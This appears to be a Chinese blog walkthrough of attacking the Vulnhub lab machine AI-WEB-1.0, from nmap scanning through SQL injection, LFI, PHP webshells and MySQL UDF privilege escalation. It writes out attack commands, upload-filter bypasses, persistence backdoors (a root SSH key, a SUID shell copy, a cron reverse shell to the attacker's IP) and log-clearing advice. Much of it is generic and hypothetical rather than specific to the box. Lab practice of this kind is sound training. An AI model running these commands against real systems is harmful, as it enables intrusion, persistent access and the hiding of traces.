AI-WEB-1.0靶机渗透实战:从信息收集到权限提升的完整攻防演练
1. 项目概述与核心价值最近在Vulnhub上发现一个挺有意思的靶机叫“AI-WEB-1.0”。光看这个名字你可能会觉得它和人工智能或者机器学习有点关系实际上它也确实在Web应用层面设置了一些需要“智能”思考才能绕过的安全障碍。这个靶机不像那些直接堆砌已知漏洞的练习环境它更侧重于模拟一个存在逻辑缺陷、配置不当以及信息泄露的现代Web应用场景非常适合用来检验和提升你的综合渗透测试思维。我自己花了大概一个下午的时间才完全拿下过程中踩了几个坑也总结出一些绕过技巧今天就把完整的渗透流程和思路拆解出来希望能给正在学习Web安全的朋友们提供一个清晰的实战参考。这个靶机适合有一定基础的渗透测试学习者。如果你已经熟悉Kali Linux的基本工具了解常见的Web漏洞比如SQL注入、文件包含的原理并且想挑战一下需要结合多种技术、进行深度信息收集和逻辑推理的靶场那么AI-WEB-1.0会是一个很好的选择。它不追求炫技的0day而是考验你对常规漏洞的灵活运用和对目标系统行为的细致观察。整个流程会涉及到信息枚举、目录爆破、源码审计、权限提升等多个阶段我会把每个步骤的操作、背后的思考以及我遇到的坑都详细记录下来。2. 环境搭建与初步信息收集2.1 靶机环境配置首先你需要从Vulnhub官网下载AI-WEB-1.0的虚拟机镜像文件。下载完成后我建议使用VMware Workstation或者VirtualBox来导入。这里有个小细节需要注意为了模拟真实的内网渗透环境最好将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我个人偏好使用“NAT模式”这样攻击机你的Kali Linux和靶机就在同一个虚拟子网内既能互相通信又不会干扰你宿主机所在的真实网络。启动靶机后通常这类靶机会自动获取IP地址。我们的首要任务就是找到它。在Kali上打开终端使用netdiscover或者nmap进行快速扫描。一个更高效的方法是先查看自己的IP然后扫描同网段。例如我的Kali IP是192.168.1.105那么我就扫描192.168.1.0/24这个网段。sudo netdiscover -r 192.168.1.0/24或者使用nmap进行ping扫描nmap -sn 192.168.1.0/24很快我就发现了一个新的主机192.168.1.120从MAC地址的厂商信息或者主机名上基本可以判定这就是我们的目标靶机。记下这个IP后续所有操作都将围绕它展开。2.2 全面的端口与服务探测找到IP后不能贸然行动。全面的端口扫描是渗透测试的基石它能告诉我们目标开放了哪些大门。我习惯使用nmap进行一个综合性的扫描不仅看端口还要尽可能获取服务版本和操作系统信息。nmap -sV -sC -O -p- 192.168.1.120解释一下参数-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口全端口扫描。这一步耗时稍长但至关重要避免遗漏像高端口Web服务这样的入口。扫描结果通常如下PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0deb10u1从结果看靶机开放了三个关键端口22 (SSH): 安全外壳协议可能是后期维持访问或权限提升的通道。80 (HTTP): Web服务这通常是Web渗透测试的主战场。3306 (MySQL): 数据库服务直接暴露在外网的情况在真实环境中较少但在靶场里往往意味着存在弱口令或注入点。注意全端口扫描时务必留意是否有非常规端口如8080, 8443, 9000等也开放了HTTP服务。有时管理员会把管理后台放在这些端口上。可以用nmap -p 1-65535 --open 192.168.1.120快速查看所有开放端口再针对性地进行服务识别。3. Web应用渗透与漏洞挖掘3.1 网站目录结构与敏感文件发现既然80端口开放我们首先从浏览器访问http://192.168.1.120。映入眼帘的是一个简单的网站可能是一个博客、一个登录页面或者一个应用首页。AI-WEB-1.0的首页看起来像是一个公司门户或演示站点。第一步永远是查看网页源代码寻找隐藏的注释、JS文件中的路径或者泄露的邮箱、用户名等信息。接下来使用工具进行目录和文件爆破。gobuster和dirb是常用选择。我更喜欢gobuster速度更快。gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bak参数说明dir: 指定模式为目录爆破。-u: 目标URL。-w: 指定字典文件common.txt是一个基础字典。-x: 尝试这些后缀名。在扫描过程中我发现了几个关键目录/admin/ 管理后台入口。/backup/ 备份文件目录这往往是个宝库。/uploads/ 文件上传目录。/index.php 主页面。/config.php 配置文件尝试访问可能直接返回空白或错误但有时能通过路径遍历读到。实操心得不要只满足于默认字典。针对PHP站点可以追加php.bak,config.bak,.git/,.env等特殊条目到自定义字典中或者使用dirsearch等更智能的工具它们内置的字典针对性更强。此外观察网站使用的技术如查看X-Powered-By响应头如果是ThinkPHP、Laravel等框架则有对应的默认路径和漏洞可以利用。3.2 漏洞分析与利用以SQL注入和文件包含为例假设在对/admin/login.php的测试中我们发现了一个登录框。常规思路尝试万能密码、SQL注入、爆破。使用Burp Suite抓包将登录请求发送到Intruder模块进行爆破或者手动测试SQL注入。手动测试时在用户名处输入经典的注入探测载荷admin or 11。如果页面逻辑有缺陷我们可能会直接登录进去。但更常见的是我们需要进行更精确的布尔盲注或时间盲注。这时sqlmap就派上用场了。sqlmap -u http://192.168.1.120/admin/login.php --datausernameadminpasswordpass --level3 --risk2 --batch如果sqlmap确认存在注入点我们可以直接尝试--dbs获取数据库名-D database_name --tables获取表最终--dump导出数据。在这个过程中我们很可能找到管理员的用户名和密码哈希值。另一个常见的漏洞是文件包含Local File Inclusion, LFI。假设我们发现URL参数中存在?pageabout.php这样的结构。可以尝试进行目录遍历http://192.168.1.120/index.php?page../../../../etc/passwd如果成功读取到系统文件说明存在LFI。我们可以利用这个漏洞读取Web应用的配置文件如config.php、日志文件甚至结合文件上传功能实现远程代码执行RCE。在AI-WEB-1.0中我正是通过/backup/目录下的一个备份文件发现了数据库配置文件db_backup.sql里面明文存储了数据库连接密码。而这个密码很可能被系统管理员在多个地方重复使用。3.3 获取WebShell与初步立足通过SQL注入拿到了后台管理员密码可能是MD5哈希需要破解或者通过LFI日志注入写入了PHP代码我们的目标是在服务器上获取一个WebShell即能够执行系统命令的脚本。方法一文件上传漏洞。如果网站有上传功能如图片上传并且过滤不严我们可以上传一个包含PHP代码的图片马在图片末尾附加?php system($_GET[‘cmd’]);?然后结合文件包含漏洞来执行它。或者直接上传.php后缀的文件如果服务器仅在前端做了验证用Burp Suite改包即可绕过。方法二写入WebShell。利用已有的SQL注入点如果数据库用户有FILE_PRIV权限并且知道Web目录的绝对路径可以尝试用SELECT ... INTO OUTFILE语句写入一个PHP文件。SELECT ?php system($_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php在AI-WEB-1.0中我通过之前发现的备份文件里的信息成功登录了MySQL数据库。使用mysql命令行客户端连接mysql -h 192.168.1.120 -u root -p输入找到的密码后进入了数据库。通过查询secure_file_priv变量确认了文件写入权限并利用into outfile在Web目录写入了最简单的WebShell。写入成功后访问http://192.168.1.120/shell.php?cmdid如果页面返回了当前用户的UID信息恭喜你已经成功在Web服务器上执行了系统命令获得了www-data或类似用户的权限。4. 权限提升与内网横向移动4.1 系统信息收集与提权向量枚举拿到WebShell后我们通常处于一个低权限的Web服务用户如www-data下。第一步是收集尽可能多的系统信息为提权做准备。在WebShell中执行一系列命令# 查看当前用户和权限 whoami id # 查看操作系统和内核版本 uname -a cat /etc/os-release # 查看运行的服务和进程 ps aux # 查看具有SUID权限的特殊文件 find / -perm -us -type f 2/dev/null # 查看当前用户可写的文件或目录 find / -writable -type d 2/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* # 查看网络连接和监听端口 netstat -antup # 查看历史命令可能泄露密码 cat ~/.bash_history这些信息能帮助我们判断提权方向。常见的提权向量包括内核漏洞如果内核版本较老且存在公开的提权EXP如DirtyCow我们可以上传并编译执行。SUID/GUID文件滥用如果发现find、vim、bash、cp等命令具有SUID位并且属于root可以通过特定方法滥用它们来获取root shell。例如经典的find . -exec /bin/sh \;。环境变量劫持如果程序以高权限运行但调用了未使用绝对路径的命令我们可以通过控制PATH环境变量来劫持它。计划任务Cron Job检查是否有以root身份运行的定时任务并且任务脚本或脚本所在目录当前用户可写我们可以通过修改脚本内容获得root权限。数据库提权如果我们拥有数据库root权限像本例中那样可以尝试利用MySQL的UDF用户自定义函数功能来执行系统命令或者写入SSH密钥到root的.ssh目录。4.2 利用MySQL进行提权实战在AI-WEB-1.0中我们早已手握MySQL的root密码。这是一个极强的提权点。MySQL的lib_mysqludf_sys库可以让我们从数据库内部执行操作系统命令。首先我们需要判断MySQL的插件目录在哪里SHOW VARIABLES LIKE ‘plugin_dir’;假设路径是/usr/lib/mysql/plugin/。接下来我们需要将编译好的lib_mysqludf_sys.so文件对应目标系统架构上传到这个目录。我们可以先在Kali上找到或编译这个文件然后通过WebShell上传或者直接利用MySQL的SELECT ... INTO DUMPFILE功能写入二进制数据比较复杂。更简单的方法是如果系统安装了gcc我们可以尝试直接在靶机上编译。通过WebShell先下载源码到可写目录如/tmpcd /tmp wget https://example.com/lib_mysqludf_sys.c gcc -shared -fPIC -o lib_mysqludf_sys.so lib_mysqludf_sys.c然后在MySQL中加载这个共享库并创建函数USE mysql; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME ‘lib_mysqludf_sys.so’; CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘lib_mysqludf_sys.so’;成功后就可以使用sys_eval函数执行任意命令了SELECT sys_eval(‘whoami’);如果返回root那么我们就获得了系统的root权限。我们可以直接添加一个具有root权限的用户或者反弹一个root shell到我们的攻击机。注意事项UDF提权对MySQL版本和环境依赖较多可能会失败。备选方案是利用MySQL的into outfile功能直接覆盖系统关键文件如/etc/passwd添加一个UID为0的用户。但这种方法风险高容易导致系统崩溃在靶场环境中可以尝试。4.3 建立持久化后门与痕迹清理拿到root权限后为了后续方便访问以及模拟攻击者的持久化行为我们需要建立稳定的后门。SSH密钥登录这是最隐蔽的方式之一。在攻击机上生成一对SSH密钥如果还没有的话ssh-keygen然后将公钥id_rsa.pub的内容追加到靶机root用户的authorized_keys文件中。# 在靶机上操作 mkdir -p /root/.ssh echo “你的公钥内容” /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys之后就可以直接用私钥免密登录ssh -i id_rsa root192.168.1.120。创建SUID后门将一个bash shell复制并设置SUID位。cp /bin/bash /tmp/.rootshell chmod us /tmp/.rootshell之后任何用户执行/tmp/.rootshell -p就能获得一个root shell-p参数用于保留特权。Cron后门添加一个每分钟执行的反向shell计划任务。echo “* * * * * root bash -i /dev/tcp/你的攻击机IP/4444 01” /etc/crontab然后在攻击机用nc -lvnp 4444监听即可。在完成所有操作后一个专业的渗透测试者还需要考虑清理痕迹。这包括删除或修改系统日志/var/log/auth.log,/var/log/apache2/access.log等、删除上传的WebShell、删除在/tmp目录下的临时文件等。但在Vulnhub靶场练习中这一步通常可以省略以便复盘整个攻击链。5. 常见问题排查与实战技巧5.1 信息收集阶段遇阻问题1Nmap扫描速度极慢或无结果。排查检查靶机和攻击机网络连通性ping。确认靶机已开机且网络配置正确。尝试使用-Pn参数跳过主机发现视所有主机在线进行扫描。技巧对于已知开放的端口如80可以先用-p 80,443,22,3306扫描常见端口快速获取基本信息再针对性地进行全端口扫描。使用--min-rate 500可以适当加快扫描速度。问题2目录爆破工具如gobuster返回大量403/404找不到有用路径。排查可能是字典不匹配。尝试更换字典如directory-list-2.3-medium.txt或raft-large-words.txt。检查是否有WAFWeb应用防火墙拦截观察响应头中是否有Cloudflare、ModSecurity等标识。技巧结合爬虫结果。先使用gospider或waybackurls等工具获取目标站点的已知URL再以此为基础进行扩展爆破。同时关注robots.txt、sitemap.xml这些文件它们常常会泄露敏感路径。5.2 漏洞利用阶段失败问题3SQL注入点存在但sqlmap无法成功利用。排查可能是过滤了某些关键词如union,select,空格。使用--tamper参数尝试绕过例如--tamperspace2comment。也可能是注入类型比较特殊如二次注入、报错注入需要手动构造Payload。技巧永远不要完全依赖工具。用Burp Suite的Repeater模块手动测试。尝试不同的注入点登录框、搜索框、Cookie、User-Agent头。查看网页源代码有时SQL查询语句会直接回显在注释里。问题4文件上传功能有严格过滤无法上传WebShell。排查检查过滤机制。是前端JS验证还是后端检查了文件扩展名黑名单/白名单、MIME类型、文件头甚至是文件内容检测?php标签技巧组合绕过。前端绕过直接禁用浏览器JS或用Burp Suite拦截修改请求。扩展名绕过尝试shell.php.jpg、shell.php%00.jpg空字节截断需特定PHP版本、shell.pHp大小写、shell.php;.jpg、.htaccess文件上传配合解析漏洞。内容绕过使用script language“php”system(“whoami”);/script等PHP变种标签或将WebShell代码嵌入图片的EXIF信息中。5.3 权限提升阶段卡壳问题5内核提权EXP编译失败或执行无效。排查确认EXP与目标系统架构x86/x64和内核版本完全匹配。检查靶机是否安装了gcc、make等编译工具。有些EXP需要特定内核配置选项开启。技巧优先尝试那些不需要编译、直接运行的二进制EXP如脏牛漏洞的现成二进制文件。可以在攻击机上根据靶机信息交叉编译好再上传执行。使用searchsploit命令在本地查找对应内核版本的公开EXP。问题6SUID提权方法尝试了很多都不成功。排查find命令找到的SUID文件可能被设置了安全限制如capabilities机制或者其调用的命令本身也受到了限制如受限制的bashrbash。技巧系统性地检查提权向量。不要只盯着SUID。检查sudo -l看看当前用户能以什么身份运行哪些命令这常常是更简单的提权路径。仔细分析ps aux的输出看是否有以root运行但配置错误的进程。查看/etc/passwd文件看是否有用户的shell被设置为/bin/false或/nologin但家目录可写可能通过SSH密钥注入提权。整个AI-WEB-1.0的渗透过程就像一次完整的攻防演练。它考验的不仅仅是漏洞利用工具的使用更是对信息流的敏感度、对系统逻辑的理解和面对障碍时的创造性思维。从外网的一个HTTP端口开始一步步深入直到拿到整个系统的最高权限这种层层递进的成就感正是渗透测试的魅力所在。每个靶机都有自己的“性格”多打几个把遇到的套路和绕过方法都记录下来慢慢就会形成自己的方法论和知识库。最后记住所有操作仅在授权的靶场或自己搭建的环境中进行切勿用于非法测试。